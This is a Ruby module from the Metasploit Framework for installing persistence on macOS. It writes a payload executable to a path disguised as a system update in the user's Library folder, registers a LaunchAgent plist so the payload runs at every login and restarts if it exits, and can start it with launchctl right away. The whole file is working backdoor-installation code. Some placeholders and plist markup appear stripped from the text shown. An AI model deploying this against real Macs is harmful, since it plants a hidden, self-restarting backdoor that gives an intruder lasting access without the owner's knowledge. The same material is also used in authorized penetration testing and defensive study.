## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/exploit/exe' require 'shellwords' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Exploit::EXE def initialize(info={}) super( update_info( info, 'Name' => 'Mac OS X Persistent Payload Installer', 'Description' => %q{ This module provides a persistence boot payload by creating a plist entry in current user's ~/Library/LaunchAgents directory. Whenever the user logs in, the LaunchAgent will be invoked and our dropped payload will run. }, 'License' => MSF_LICENSE, 'Author' => [ "Marcin 'Icewall' Noga ", "joev" ], 'Platform' => [ 'osx' ], 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultTarget' => 0, 'SessionTypes' => [ 'shell', 'meterpreter' ] )) register_options([ OptString.new('BACKDOOR_PATH', [true, 'Path to hide the backdoor on the target.', '/Users//Library/./com.system.update'] ), OptBool.new('KEEPALIVE', [true, 'Continually restart the payload exe if it crashes/exits.', true] ), OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', false] ) ], self.class) end def exploit # Store backdoor on target machine write_backdoor(generate_payload_exe) # Add plist file to LaunchAgents dir add_launchctl_item # invoke the service if necessary invoke_service if run_now? # tell the user how to remove the persistence if necessary list_removal_paths end private # drops the file to disk, then makes it executable # @param [String] exe the executable to drop def write_backdoor(exe) print_status("Dropping backdoor executable...") cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}") if write_file(backdoor_path, exe) print_good("Backdoor stored to #{backdoor_path}") cmd_exec("chmod +x #{backdoor_path.shellescape}") else fail_with("Error dropping backdoor to #{backdoor_path}") end end # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path def add_launchctl_item label = File.basename(backdoor_path) cmd_exec("mkdir -p", plist_path) item = <<-EOI Label #{label} Program #{backdoor_path} ProgramArguments #{backdoor_path} RunAtLoad KeepAlive <#{keepalive?}/> EOI if write_file(plist_path, item) print_good("LaunchAgent added: #{plist_path}") else fail_with("Error writing LaunchAgent item to #{plist_path}") end end # tells launchctl to start the service we dropped def invoke_service print_status("Starting the LaunchAgent") cmd_exec("launchctl unload -w #{plist_path.shellescape}") # in case of previous persistence (unlikely) cmd_exec("launchctl load -w #{plist_path.shellescape}") cmd_exec("launchctl start #{File.basename(plist_path)}") end # useful if you want to remove the persistence. # prints out a list of paths to remove and commands to run. def list_removal_paths files = [backdoor_path, plist_path] run_cmd = "Then log out or run: launchctl unload -w #{plist_path.shellescape}" print_status("To remove the persistence, delete the files:\n#{files.join("\n")}\n#{run_cmd}") end # path to upload the backdoor. any or substrings will be replaced. # @return [String] path to drop the backdoor payload. def backdoor_path @backdoor_path ||= (datastore['BACKDOOR_PATH'] .gsub(''){ Rex::Text.rand_text_alpha(8) } .gsub('', user)) end # path to the LaunchAgent service configuration plist # @return [String] path to the LaunchAgent service def plist_path @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" end def keepalive?; datastore['KEEPALIVE']; end def run_now?; datastore['RUN_NOW']; end # @return [String] username of the session def user @user ||= cmd_exec('whoami').strip end end